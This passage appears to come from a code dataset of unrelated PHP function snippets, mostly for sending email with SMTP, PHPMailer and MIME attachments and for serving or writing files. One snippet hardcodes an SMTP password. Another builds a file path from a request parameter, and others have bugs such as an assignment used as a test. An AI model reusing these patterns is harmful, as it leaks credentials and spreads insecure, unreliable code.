:: __construct();\n\t\t\t\t$this->adminemail = $this->get_admin_email();\n\t\t\t\t$this->adminmobile = $this->get_admin_mobile();\n\t\t\t\t$siteInfo = $this->get_siteTitleUrl();\n\t\t\t\t$this->sitetitle = $siteInfo['title'];\n\t\t\t\t$this->siteurl = addHttp($siteInfo['url']);\n\n\t\t\t\t$headFootShortcode = array(\"{siteTitle}\",\"{siteUrl}\");\n\t\t\t\t$headFootVals = array($this->sitetitle,$this->siteurl);\n\n\t\t\t\t$mailsettings = $this->get_mailserver();\n\t\t\t\t$this->mailHeader = str_replace($headFootShortcode, $headFootVals, $mailsettings[0]->mail_header);\n\t\t\t\t$this->mailFooter = str_replace($headFootShortcode, $headFootVals, $mailsettings[0]->mail_footer);\n\t\t\t\t\n\t\t\t\tif ($mailsettings[0]->mail_default == \"smtp\") {\n\t\t\t\t\t\n\t\t\t\t\tif($mailsettings[0]->mail_secure == \"no\"){\n\t\t\t\t\t\t$secure = \"\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$secure = $mailsettings[0]->mail_secure.\"://\";\n\t\t\t\t\t}\n\t\t\t\t\t\t$this->sendfrom = $mailsettings[0]->mail_fromemail;\n\t\t\t\t\t\t$config = Array('protocol' => 'smtp', 'charset' => 'utf-8',\n\t\t\t\t\t\t\t'smtp_host' => $secure.$mailsettings[0]->mail_hostname, \n\t\t\t\t\t\t\t'smtp_port' => $mailsettings[0]->mail_port, \n\t\t\t\t\t\t\t'smtp_user' => $mailsettings[0]->mail_username, 'smtp_pass' => $mailsettings[0]->mail_password, 'mailtype' => 'html', 'charset' => 'iso-8859-1', 'wordwrap' => TRUE,'smtp_auth' => TRUE);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->load->library('email', $config);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\t$this->sendfrom = $mailsettings[0]->mail_fromemail;\n\t\t\t\t\t\t$this->load->library('email');\n\t\t\t\t\t\t$this->email->set_mailtype(\"html\");\n\t\t\t\t}\n\n\t\t}", "function output_file( $file_md5, $name, $mimecontent )\r\n{\r\n\t//register_shutdown_function( 'function_name' );\r\n\r\n\tif(!file_exists($file_md5))\r\n\t die('El archivo para subir no existe !');\r\n\r\n\t$size = filesize($file_md5);\r\n\t\r\n//\t$name = rawurldecode($name);\r\n\t\r\n\tif (ereg('Opera(/| )([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT']))\r\n\t\t$UserBrowser = \"Opera\";\r\n\telseif (ereg('MSIE ([0-9].[0-9]{1,2})', $_SERVER['HTTP_USER_AGENT']))\r\n\t\t$UserBrowser = \"IE\";\r\n\telse\r\n\t\t$UserBrowser = '';\r\n\r\n\t/// important for download im most browser\r\n\t$mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ?\r\n\t 'application/octetstream' : 'application/octet-stream';\r\n\t \r\n\t@ob_end_clean(); /// decrease cpu usage extreme\r\n\t\r\n\theader('Content-Type: ' . $mime_type);\r\n//\theader(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\t //jels\r\n \theader('Content-Disposition: attachment; filename=\"'.$name.'\"');\r\n\theader('Accept-Ranges: bytes');\r\n\theader(\"Cache-control: private\");\r\n\theader('Pragma: private');\r\n\t\r\n\t///// multipart-download and resume-download\r\n\tif(isset($_SERVER['HTTP_RANGE']))\r\n\t{\r\n\t\tlist($a, $range) = explode(\"=\",$_SERVER['HTTP_RANGE']);\r\n\t\tstr_replace($range, \"-\", $range);\r\n\t\t$size2 = $size-1;\r\n\t\t$new_length = $size-$range;\r\n\t\theader(\"HTTP/1.1 206 Partial Content\");\r\n\t\theader(\"Content-Length: $new_length\");\r\n\t\theader(\"Content-Range: bytes $range$size2/$size\");\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$size2=$size-1;\r\n\t\theader(\"Content-Length: \".$size);\r\n\t}\r\n\r\n\t$chunksize = 1*(1024*1024);\r\n\r\n\t$bytes_send = 0;\r\n\r\n\tif ($file = fopen($file_md5, 'r'))\r\n\t{\r\n\t\tif(isset($_SERVER['HTTP_RANGE']))\r\n\t\t fseek($file, $range);\r\n\t\t\r\n\t\twhile(!feof($file) and (connection_status()==0))\r\n\t\t{\r\n\t\t\t$buffer = fread($file, $chunksize);\r\n\t\t\tprint($buffer);\r\n\t\t\tflush();\r\n\t\t\t$bytes_send += strlen($buffer);\r\n\t\t\t//sleep(1);//// decrease download speed\r\n\t\t}\r\n\t\tfclose($file);\r\n\t}\r\n\telse\r\n\t\tdie('No se puede abrir el archivo.');\r\n\t\t\r\n\tif(isset($new_length))\r\n\t\t$size = $new_length;\r\n\t\t\r\n//\tdie();\r\n}", "private function mail_att($htmlContent,$anhang)\n {\n\n // Recipient \n $to = $this->tl_turnierpaare_ergebniss_email;\n \n // Sender \n $from = $this->tl_turnierpaare_ergebniss_email_absender; \n $fromName = $this->tl_turnierpaare_ergebniss_email_name;\n \n // Email subject \n $subject = $this->tl_turnierpaare_ergebniss_email_subject;\n\n \n // Header for sender info \n $headers = \"From: $fromName\".\" <\".$from.\">\"; \n \n // Boundary \n $semi_rand = md5(time()); \n $mime_boundary = \"==Multipart_Boundary_x{$semi_rand}x\"; \n \n // Headers for attachment \n $headers .= \"\\nMIME-Version: 1.0\\n\" . \"Content-Type: multipart/mixed;\\n\" . \" boundary=\\\"{$mime_boundary}\\\"\"; \n \n // Multipart boundary \n $message = \"--{$mime_boundary}\\n\" . \"Content-Type: text/html; charset=\\\"UTF-8\\\"\\n\" . \n \"Content-Transfer-Encoding: 7bit\\n\\n\" . $htmlContent . \"\\n\\n\"; \n\n //$anhang ist ein Mehrdimensionals Array\n //$anhang enthält mehrere Dateien\n \n if(is_array($anhang) AND is_array(current($anhang)))\n {\n foreach($anhang AS $dat)\n {\n $data = chunk_split(base64_encode($dat['data']));\n $message.= \"--\".$mime_boundary.\"\\r\\n\";\n $message.= \"Content-Disposition: attachment;\\r\\n\";\n $message.= \"\\tfilename=\\\"\".$dat['name'].\"\\\";\\r\\n\";\n $message.= \"Content-Length: .\".$dat['size'].\";\\r\\n\";\n $message.= \"Content-Type: \".$dat['type'].\"; name=\\\"\".$dat['name'].\"\\\"\\r\\n\";\n $message.= \"Content-Transfer-Encoding: base64\\r\\n\\r\\n\";\n $message.= $data.\"\\r\\n\";\n }\n $message .= \"--\".$mime_boundary.\"--\";\n }\n else if(strlen($anhang['name'])>0) //Nur 1 Datei als Anhang\n {\n\n $data = chunk_split(base64_encode($anhang['data']));\n $message.= \"--\".$mime_boundary.\"\\r\\n\";\n $message.= \"Content-Disposition: attachment;\\r\\n\";\n $message.= \"\\tfilename=\\\"\".$anhang['name'].\"\\\";\\r\\n\";\n $message.= \"Content-Length: .\".$dat['size'].\";\\r\\n\";\n $message.= \"Content-Type: \".$anhang['type'].\"; name=\\\"\".$anhang['name'].\"\\\"\\r\\n\";\n $message.= \"Content-Transfer-Encoding: base64\\r\\n\\r\\n\";\n $message.= $data.\"\\r\\n\";\n $message .= \"--\".$mime_boundary.\"--\";\n }\n \n $returnpath = \"-f\" . $from; \n\n if(mail($to, $subject, $message, $headers, $returnpath)){\n return true;\n } else{ \n return false;\n }\n }", "function composeTextFile(){\r\n\tresetErrorMessages();\r\n\tglobal $dataBody, $emailAddress;\r\n\tglobal $writeFileOpenError, $writeFileWritingError;\r\n\r\n\t//now write to text file\r\n\tglobal $thisURL, $filename;\r\n\t$filename\t \t= substr($thisURL, strpos($thisURL, \"/\"));\r\n\t$filename\t.= \"../datasources/savedResults/\";\r\n\tif(isset($_REQUEST[\"filenameBox\"])){ //use name of uploaded file\r\n\t\t$filename\t \t.= check_input($_REQUEST[\"filenameBox\"]);\r\n\t} else { // used to be no choice of file name, now we can specify: this is the fallback\r\n\t\t\t//use beginning of email address (username) plus random number\r\n\t\t$filename\t \t.= substr($emailAddress, 0, strpos($emailAddress, \"@\" ));\r\n\t\t$filename\t \t.= rand();\r\n\t}\r\n\t$filename\t \t.= \".csv\";\r\n\t//strrchr = Find last occurrence of a character in a string\r\n\t$displayFilename = strrchr( $filename, \"/\");\r\n\t$displayFilename = str_replace( \"/\", \"\", $displayFilename);\r\n\r\n\t//echo \"<span class='highlightNumbers'>&nbsp;filename='\" . $filename . \"'; displayFilename='\" . $displayFilename . \"';&nbsp;</span></h2>\";\r\n\r\n\t$writeFileOpenError = str_replace(\"REPLACE_DUMMY_STRING\", $filename, $writeFileOpenError);\r\n\r\n\t$writeFileWritingError = \"<h3 class='alert'>Couldn't write '\" . substr($dataBody, 0, 50) . \"'... to \";\r\n\t$writeFileWritingError .= $displayFilename . \"!</h3>\";\r\n\r\n\t$fileHandle = fopen( $filename, \"wb\" ) or die(\"<h3 class='alert'>\" . $writeFileOpenError . \"</h3>\");\r\n\t$numBytes \t= fwrite( $fileHandle, $dataBody ) or die( \"<h3 class='alert'>\" . $writeFileWritingError . \"</h3>\" );\r\n\tfclose( $fileHandle );\r\n\r\n\t$writeFileSuccessMsg = generateSuccessMessage($displayFilename, $filename);\r\n\t$numKB\t\t\t\t\t\t\t = $numBytes / 1000;\r\n\t$writeFileSuccessMsg = str_replace(\"REPLACE_DUMMY_STRING\", $numKB, $writeFileSuccessMsg);\r\n\techo $writeFileSuccessMsg;\r\n\r\n\treturn $filename;\r\n}", "static function enviarEmail($destinatario, $processo) {\n switch ($processo) {\n case 1: //enviar documentacao de formalizacao\n //pegando email do aluno\n $formalizacao = DB::table('formalizacao')\n ->join('aluno', 'formalizacao.idAluno', '=', 'aluno.idAluno')\n ->where('aluno.idAluno', '=', $destinatario)\n ->select('formalizacao.*', 'aluno.nome as nomeAluno', 'aluno.email as emailAluno', 'aluno.*')\n ->get();\n\n $emailDestinatario = $formalizacao[0]->emailAluno;\n $nomeDestinatario = $formalizacao[0]->nomeAluno;\n// $emailDestinatario = \"[email protected]\";\n// $nomeDestinatario = \"Emerson Gabriel\";\n\n $mail = new PHPMailer(); // create a n\n $mail->CharSet = \"UTF-8\";\n $mail->IsSMTP(); // Define que o e-mail será no protocol SMTP\n $mail->Host = \"mail.pwlunar.com\"; //endereço do servidor\n\n $mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n// $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n $mail->Password = 'D01sdvp14'; // Senha do servidor SMTP\n // REMETENTE =====\n $mail->From = \"[email protected]\"; // Seu e-mail\n $mail->FromName = \"TECWEBC\"; // Seu nome \n $mail->Port = 587; //porta smtp\n\n// echo getcwd() . '<br>';\n// echo dirname(__FILE__) . '<br>';\n// echo basename(__DIR__) . '<br>'; \n// $mail->addAttachment(\"uploads/\".\"teste.pdf\");\n $mail->addAttachment(\"uploads/Documentos/Formalizacao/\".\"apendiceB.pdf\");\n\n $nome = $formalizacao[0]->nomeAluno;\n $titulo = $formalizacao[0]->titulo;\n $telefone = $formalizacao[0]->telefone;\n $cpf = $formalizacao[0]->cpf;\n $menssagem = \"Confirme seus dados enviados neste e-mail.\";\n $data = date('d/m/Y');\n $hora = date('H:i:s');\n\n $mail->IsHTML(true);\n\n $mail->AddAddress($emailDestinatario, $nomeDestinatario);\n\n $mail->Subject = \"Contato de teste pelo TECWEBC\"; // assunto da mensagem\n $mail->Body = \"\n <!DOCTYPE html>\n <html lang='pt-br'>\n <head>\n <meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>\n <style> \n table {font-family: arial, sans-serif;border-collapse: collapse}td, th {text-align: left;padding: 8px;}tr:nth-child(even) {background-color: #dddddd;}\n </style>\n </head>\n <body style='margin: 20px 0'>\n <p>\n Preencha os documentos anexados neste e-mail e encaminhe até a direção.\n </p>\n <table>\n <tbody> \n <tr>\n <td colspan='2' style='text-align: center' >\n <img alt='' height='100' src='---------'>\n </td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Nome</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $nome . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Telefone</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $telefone . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Título</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $titulo . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>CPF</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $cpf . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Mensagem</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $menssagem . \"</td>\n </tr>\n </tbody>\n <tbody>\n <tr>\n <td>\n <p style='color: #737478;font-size: 12px'>Enviado às \" . $hora . \", \" . $data . \"</p>\n </td>\n </tr>\n </tbody>\n </table>\n </body>\n </html>\";\n $enviado = $mail->Send(); // enviando email\n\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n\n if ($enviado = 1) {\n return \"1\";\n } else {\n return \"0\";\n }\n\n break;\n case 2:\n \n //pegando email do aluno\n $formalizacao = DB::table('formalizacao')\n ->join('aluno', 'formalizacao.idAluno', '=', 'aluno.idAluno')\n ->where('formalizacao.idFormalizacao', '=', $destinatario)\n ->select('formalizacao.*', 'aluno.nome as nomeAluno', 'aluno.email as emailAluno', 'aluno.*')\n ->get();\n\n $emailDestinatario = $formalizacao[0]->emailAluno;\n $nomeDestinatario = $formalizacao[0]->nomeAluno;\n echo $emailDestinatario;\n echo $nomeDestinatario;\n// $emailDestinatario = \"[email protected]\";\n// $nomeDestinatario = \"Emerson Gabriel\";\n\n $mail = new PHPMailer(); // create a n\n $mail->CharSet = \"UTF-8\";\n $mail->IsSMTP(); // Define que o e-mail será no protocol SMTP\n $mail->Host = \"mail.pwlunar.com\"; //endereço do servidor\n\n $mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n// $mail->Username = '[email protected]'; // Usuário do servidor SMTP\n $mail->Password = 'D01sdvp14'; // Senha do servidor SMTP\n // REMETENTE =====\n $mail->From = \"[email protected]\"; // Seu e-mail\n $mail->FromName = \"TECWEBC\"; // Seu nome \n $mail->Port = 587; //porta smtp\n\n// echo getcwd() . '<br>';\n// echo dirname(__FILE__) . '<br>';\n// echo basename(__DIR__) . '<br>'; \n// $mail->addAttachment(\"uploads/\".\"teste.pdf\");\n $mail->addAttachment(\"uploads/Documentos/RelatorioFrequenciaAtividade/\".\"apendiceG.pdf\");\n $mail->addAttachment(\"uploads/Documentos/TermoResponsabilidade/\".\"apendiceC.pdf\");\n\n $nome = $formalizacao[0]->nomeAluno;\n $titulo = $formalizacao[0]->titulo;\n $telefone = $formalizacao[0]->telefone;\n $cpf = $formalizacao[0]->cpf;\n $menssagem = \"Confirme seus dados enviados neste e-mail.\";\n \n $data = date('d/m/Y');\n $hora = date('H:i:s');\n\n $mail->IsHTML(true);\n\n $mail->AddAddress($emailDestinatario, $nomeDestinatario);\n\n $mail->Subject = \"Arquivos referente a marcação de banca - TECWEBC\"; // assunto da mensagem\n $mail->Body = \"\n <!DOCTYPE html>\n <html lang='pt-br'>\n <head>\n <meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>\n <style> \n table {font-family: arial, sans-serif;border-collapse: collapse}td, th {text-align: left;padding: 8px;}tr:nth-child(even) {background-color: #dddddd;}\n </style>\n </head>\n <body style='margin: 20px 0'>\n <p>\n Preencha os documentos anexados neste e-mail e encaminhe até a direção.\n </p>\n <table>\n <tbody> \n <tr>\n <td colspan='2' style='text-align: center' >\n <img alt='' height='100' src='---------'>\n </td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Nome</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $nome . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Telefone</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $telefone . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Título</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $titulo . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Telefone</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $telefone . \"</td>\n </tr>\n <tr>\n <td style='border: 1px solid #dddddd;width: 100px;'>Mensagem</td>\n <td style='border: 1px solid #dddddd;width: 200px;'>\" . $menssagem . \"</td>\n </tr>\n </tbody>\n <tbody>\n <tr>\n <td>\n <p style='color: #737478;font-size: 12px'>Enviado às \" . $hora . \", \" . $data . \"</p>\n </td>\n </tr>\n </tbody>\n </table>\n </body>\n </html>\";\n $enviado = $mail->Send(); // enviando email\n\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n\n if ($enviado = 1) {\n// return \"1\";\n } else {\n// return \"0\";\n }\n \n break;\n case 3:\n echo \"outro processo 3\";\n break;\n }\n }", "function emailtocoachnotify($to_id, $from_id, $status, $course, $exercise, $links, $files, $type, $url) {\n\n global $wpdb;\n /* coach */\n $coach_details = get_userdata($to_id);\n $coach_name = $coach_details->display_name;\n $coach_email = /* $coach_details->user_email; */\"[email protected]\";\n /* student */\n $student_details = get_userdata($from_id);\n $student_name = strtoupper($student_details->display_name); /* student_name */\n $student_email = $student_details->user_email; /* student email */\n\n $date = date(\"Y-m-d H:i:s\");\n $site_name = TR_SITE_NAME;\n $headers = 'From: ' . $student_email . \"\\r\\n\" .\n 'Reply-To: ' . $student_email . \"\\r\\n\" .\n 'MIME-Version: 1.0' . \"\\r\\n\" .\n 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\" .\n 'X-Mailer: PHP/' . phpversion();\n\n $template = tt_get_template(\"project_submission\");\n $subj = $template->subject;\n $subj = str_replace(\"{{mentor_name}}\", $coach_name, $subj);\n\n $msg = $template->content;\n\n /* sending mail in case of project submission */\n \n if($coach_email==get_option('admin_email') && $type==\"Project\"){\n\n //if ($coach_email == \"[email protected]\" && $type == \"Project\") {\n\n\n if (empty($files)) {\n $msg = str_replace(array('{{mentor_name}}', '{{student_name}}', '{{student_email}}', '{{status}}', '{{exercise_name}}', '{{course_name}}', '{{work_files}}', '{{site_name}}'), array($coach_name, $student_name, $student_email, $status . \" work , below you can find work details\" . \"<br/>\", $exercise, $course, \"<br/>Submitted Work <br/> Links are: \" . $links . \"<br/><br/>For more information , please go to this link<br/>\" . $url . \"<br/><br/>*Note : You have recieved this mail because user has no mentor assigned yet.\", $site_name), $msg);\n } else {\n $msg = str_replace(array('{{mentor_name}}', '{{student_name}}', '{{student_email}}', '{{status}}', '{{exercise_name}}', '{{course_name}}', '{{work_files}}', '{{site_name}}'), array($coach_name, $student_name, $student_email, $status . \" work , below you can find work details\" . \"<br/>\", $exercise, $course, \"<br/>Submitted Work <br/>Links are : \" . $links . \"<br/>Files are :\" . $files . \"<br/><br/>For more information , please go to this link<br/>\" . $url . \"<br/><br/>*Note : You have recieved this mail because user has no mentor assigned yet.\", $site_name), $msg);\n }\n } else if ($type == \"Project\") {\n if (empty($files)) {\n $msg = str_replace(array('{{mentor_name}}', '{{student_name}}', '{{student_email}}', '{{status}}', '{{exercise_name}}', '{{course_name}}', '{{work_files}}', '{{site_name}}'), array($coach_name, $student_name, $student_email, $status . \" work , below you can find work details.<br/>\", $exercise . \"<br/>\", $course, \"<br/>Submitted Work <br/> Links are :\" . $links . \"<br/><br/>For more information , please go to this link<br/>\" . $url, $site_name), $msg);\n } else {\n $msg = str_replace(array('{{mentor_name}}', '{{student_name}}', '{{student_email}}', '{{status}}', '{{exercise_name}}', '{{course_name}}', '{{work_files}}', '{{site_name}}'), array($coach_name, $student_name, $student_email, $status . \" work , below you can find work details .<br/>\", $exercise, $course, \"<br/>Submitted Work <br/>Links are :\" . $links . \"<br/>Files are : \" . $files . \"<br/><br/>For more information , please go to this link<br/>\" . $url, $site_name), $msg);\n }\n } else if ($coach_email == get_option('admin_email') && $type == \"Marked\") {\n\n $msg = str_replace(array('{{mentor_name}}', '{{student_name}}', '{{student_email}}', '{{status}}', '{{exercise_name}}', '{{course_name}}', '{{work_files}}', '{{site_name}}'), array($coach_name, $student_name, $student_email, $status . \" work , below you can find work details .<br/>\", $exercise, $course, \"<br/><br/>For more information , please go to this link<br/>\" . $url, $site_name), $msg);\n } else if ($type == \"Marked\") {\n\n $msg = str_replace(array('{{mentor_name}}', '{{student_name}}', '{{student_email}}', '{{status}}', '{{exercise_name}}', '{{course_name}}', '{{work_files}}', '{{site_name}}'), array($coach_name, $student_name, $student_email, $status . \" work , below you can find work details .<br/>\", $exercise, $course, \"<br/><br/>For more information , please go to this link<br/>\" . $url, $site_name), $msg);\n }\n\n\n custom_mail($coach_email, $subj, $msg, EMAIL_TYPE, \"\");\n}", "function send_contact_email($to, $data) {\n\n\t\t\t\t$from = $data['contact_email'];\n\t\t\t\t$subject = \"Contact From Website: \".$data['contact_name'] . \" - \";\n\t\t\t\t$subject .= $data['contact_subject'];\n\n\t\t\t/*\t$msg = $this->mailHeader;\n\t\t\t\t$msg .= $data['contact_message'];\n\t\t\t\t$msg .= $this->mailFooter;*/\n\n\t\t\t\t$res = $this->settings_model->get_contact_page_details();\n\t\t\t\t$contact_phone = $res[0]->contact_phone;\n\t\t\t\t$contact_email = $res[0]->contact_email;\n\t\t\t\t$contact_address = $res[0]->contact_address;\n\n\t\t\t\t$sendto = $details->contect_email;\n\t\t\t\t $ptheme = pt_default_theme();\n\t\t\t\t\t$this->_config = config_item('theme');\n\t\t\t\t\t$uu = $this->_config['url'];\n\t\t\t\t\n\t\t\t\t$email_temp_img = $uu.$ptheme.'/email_temp_img/gb_email_temp_img/';\n $template = array('{name}','{check_in}','{check_out}','{link}','{email_temp_img}','{city}','{state}','{aprx_rooms}','{contact_phone}','{contact_email}','{contact_address}','{top_hotel}');\n\t\t\t\t$values = array($details->contect_name,$details->check_in,$details->check_out,$details->link_gen,$email_temp_img,$details->city,$details->state,$details->aprx_rooms,$contact_phone,$contact_email,$contact_address,$top_hotel);\n\t\t\t\t\n\t\t\t\t$HTML_DATA = file_get_contents( $uu.$ptheme.'/contact_us.html');\n\t\t\t\t$message = str_replace($template, $values, $HTML_DATA);\n\t\t\t\t\t/*echo \"string\";\n\t\t\t\t\techo $message;\n\t\t\t\t\texit();*/\n\n\t\t\t\t$this->email->set_newline(\"\\r\\n\");\n\t\t\t\t$this->email->from($to);\n\t\t\t\t$this->email->to($from);\n\t\t\t\t$this->email->subject('Contact us confirmation');\n\t\t\t\t$this->email->message($message);\n\t\t\t\treturn $this->email->send();\n\t\t}", "function setHeaders() {\n\t\t\t// Sets the message id\n\t\t$oldMsgID = $this->messageid;\n\t\t$host = t3lib_div::getHostname();\n\t\tif (!$host || $host == '127.0.0.1' || $host == 'localhost' || $host == 'localhost.localdomain') {\n\t\t\t$host = ($TYPO3_CONF_VARS['SYS']['sitename'] ? preg_replace('/[^A-Za-z0-9_\\-]/', '_', $TYPO3_CONF_VARS['SYS']['sitename']) : 'localhost') . '.TYPO3';\n\t\t}\n\t\t$this->messageid = md5(microtime()) . '@' . $host;\n\t\t\n\t\t//adding testmail-subject if it is set\n\t\tif ($this->testmail !== FALSE) {\n\t\t\t$this->subject = (string)$this->testmail.' '.$this->subject;\n\t\t}\n\t\t\n\t\tparent::setHeaders();\n\t\t$this->messageid = $oldMsgID;\n\t}", "function save($html,$filename) {\n\t\tglobal $modx;\n\t\theader('Content-Type: text/html; charset='.$modx->config[\"modx_charset\"]);\n\t\theader(\"Content-Disposition: attachment; filename=\\\"$filename\\\"\");\n\t\texit($html);\n\t}", "private function emailTemplate($data) {\n $body = array_reduce($data, function($prevInput, $curInput) {\n return $prevInput . '<p style=\"font-family:sans-serif;font-size:14px;font-weight:normal;margin:0;Margin-bottom:2px;\">' . $curInput['name'] . ': ' . $curInput['value'] . '</p>' . PHP_EOL;\n });\n\n $email = '<!DOCTYPE html>\n <html>\n <head>\n <meta name=\"viewport\" content=\"width=device-width\">\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n <title>New Online Donation</title>\n <style type=\"text/css\">\n @media only screen and (max-width: 620px) {\n table[class=body] h1 {\n font-size: 28px !important;\n margin-bottom: 10px !important; }\n table[class=body] p,\n table[class=body] ul,\n table[class=body] ol,\n table[class=body] td,\n table[class=body] span,\n table[class=body] a {\n font-size: 16px !important; }\n table[class=body] .wrapper,\n table[class=body] .article {\n padding: 10px !important; }\n table[class=body] .content {\n padding: 0 !important; }\n table[class=body] .container {\n padding: 0 !important;\n width: 100% !important; }\n table[class=body] .main {\n border-left-width: 0 !important;\n border-radius: 0 !important;\n border-right-width: 0 !important; }\n table[class=body] .btn table {\n width: 100% !important; }\n table[class=body] .btn a {\n width: 100% !important; }\n table[class=body] .img-responsive {\n height: auto !important;\n max-width: 100% !important;\n width: auto !important; }}\n @media all {\n .ExternalClass {\n width: 100%; }\n .ExternalClass,\n .ExternalClass p,\n .ExternalClass span,\n .ExternalClass font,\n .ExternalClass td,\n .ExternalClass div {\n line-height: 100%; }\n .apple-link a {\n color: inherit !important;\n font-family: inherit !important;\n font-size: inherit !important;\n font-weight: inherit !important;\n line-height: inherit !important;\n text-decoration: none !important; }\n .btn-primary table td:hover {\n background-color: #34495e !important; }\n .btn-primary a:hover {\n background-color: #34495e !important;\n border-color: #34495e !important; } }\n </style>\n </head>\n <body class=\"\" style=\"background-color:#f6f6f6;font-family:sans-serif;-webkit-font-smoothing:antialiased;font-size:14px;line-height:1.4;margin:0;padding:0;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"body\" style=\"border-collapse:separate;mso-table-lspace:0pt;mso-table-rspace:0pt;background-color:#f6f6f6;width:100%;\">\n <tr>\n <td style=\"font-family:sans-serif;font-size:14px;vertical-align:top;\">&nbsp;</td>\n <td class=\"container\" style=\"font-family:sans-serif;font-size:14px;vertical-align:top;display:block;max-width:960px;padding:10px;width:100%;Margin:0 auto !important;\">\n <div class=\"content\" style=\"box-sizing:border-box;display:block;Margin:0 auto;max-width:100%;padding:10px;\">\n <span class=\"preheader\" style=\"color:transparent;display:none;height:0;max-height:0;max-width:0;opacity:0;overflow:hidden;mso-hide:all;visibility:hidden;width:0;\">New Form Submission</span>\n <table class=\"main\" style=\"border-collapse:separate;mso-table-lspace:0pt;mso-table-rspace:0pt;background:#fff;border-radius:3px;width:100%;\">\n <tr>\n <td class=\"wrapper\" style=\"font-family:sans-serif;font-size:14px;vertical-align:top;box-sizing:border-box;padding:20px;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse:separate;mso-table-lspace:0pt;mso-table-rspace:0pt;width:100%;\">\n <tr>\n <td style=\"font-family:sans-serif;font-size:14px;vertical-align:top;\">\n <p style=\"font-family:sans-serif;font-size:24px;font-weight:normal;margin:0;Margin-bottom:24px;\">Here are the details:</p>\n ' . $body . '\n </td>\n </tr>\n </table>\n </td>\n </tr>\n </table>\n </div>\n </td>\n <td style=\"font-family:sans-serif;font-size:14px;vertical-align:top;\">&nbsp;</td>\n </tr>\n </table>\n </body>\n </html>';\n \n return $email;\n }", "function mailUser($email) {\n\t//echo \"mail user <br>\";\n\t$mail = getSocksMailer();\n\t$mail->Subject = \"Litesprite Survey Completed\";\n\t$mail->AddEmbeddedImage('../images/paw.png', 'paw');\n\t$mail->msgHTML(file_get_contents('../emails/postSurvey.html'), dirname(__FILE__));\n\t$mail->AddAddress($email);\n\tsendMail($mail);\n}", "private function sendEmail($subject, $bodyMsg, $filePath, $file)\n\t{\n\t\t$email_from = \"Magento/VISTA Inventory Update Processer\";\n\t\t$fileatt = $filePath.$file; // full Path to the file \n\t\t$fileatt_type = \"application/text\"; // File Type \n\t\t\n\t\t$to = Mage::getStoreConfig('vistainventory_section/vistainventory_group/vistainventory_emailnotice', 1);\n\t\t$subject = $subject;\n\t\t$fileatt_name = $file;\n\t\t$file = fopen($fileatt,'rb'); \n\t\t$data = fread($file,filesize($fileatt)); \n\t\tfclose($file); \n\t\t$semi_rand = md5(time()); \n\t\t$mime_boundary = \"==Multipart_Boundary_x{$semi_rand}x\"; \n\t\t$headers = \"From:\".$email_from;\n\t\t$headers .= \"\\nMIME-Version: 1.0\\n\" . \n\t\t\t\"Content-Type: multipart/mixed;\\n\" . \n\t\t\t\" boundary=\\\"{$mime_boundary}\\\"\"; \n\t\t$email_message = $bodyMsg;\n\t\t$email_message .= \"This is a multi-part message in MIME format.\\n\\n\" . \n\t\t\t\"--{$mime_boundary}\\n\" . \n\t\t\t\"Content-Type:text/html; charset=\\\"iso-8859-1\\\"\\n\" . \n\t\t\t\"Content-Transfer-Encoding: 7bit\\n\\n\" . \n\t\t$email_message .= \"\\n\\n\"; \n\t\t$data = chunk_split(base64_encode($data)); \n\t\t$email_message .= \"--{$mime_boundary}\\n\" . \n\t\t\t\"Content-Type: {$fileatt_type};\\n\" . \n\t\t\t\" name=\\\"{$fileatt_name}\\\"\\n\" . \n\t\t\t\"Content-Transfer-Encoding: base64\\n\\n\" . \n\t\t\t$data .= \"\\n\\n\" . \n\t\t\t\"--{$mime_boundary}--\\n\"; \n\n\t\t//Send email\n\t\t$ok = @mail($to, $subject, $email_message, $headers); \n\t}", "function grabarTemplate($filename, $somecontent) {\n fopen($filename, \"wb\");\n // Let's make sure the file exists and is writable first.\n if (is_writable($filename)) {\n\n // In our example we're opening $filename in append mode.\n // The file pointer is at the bottom of the file hence\n // that's where $somecontent will go when we fwrite() it.\n if (!$handle = fopen($filename, 'a')) {\n return \"No se pudo abrir el archivo 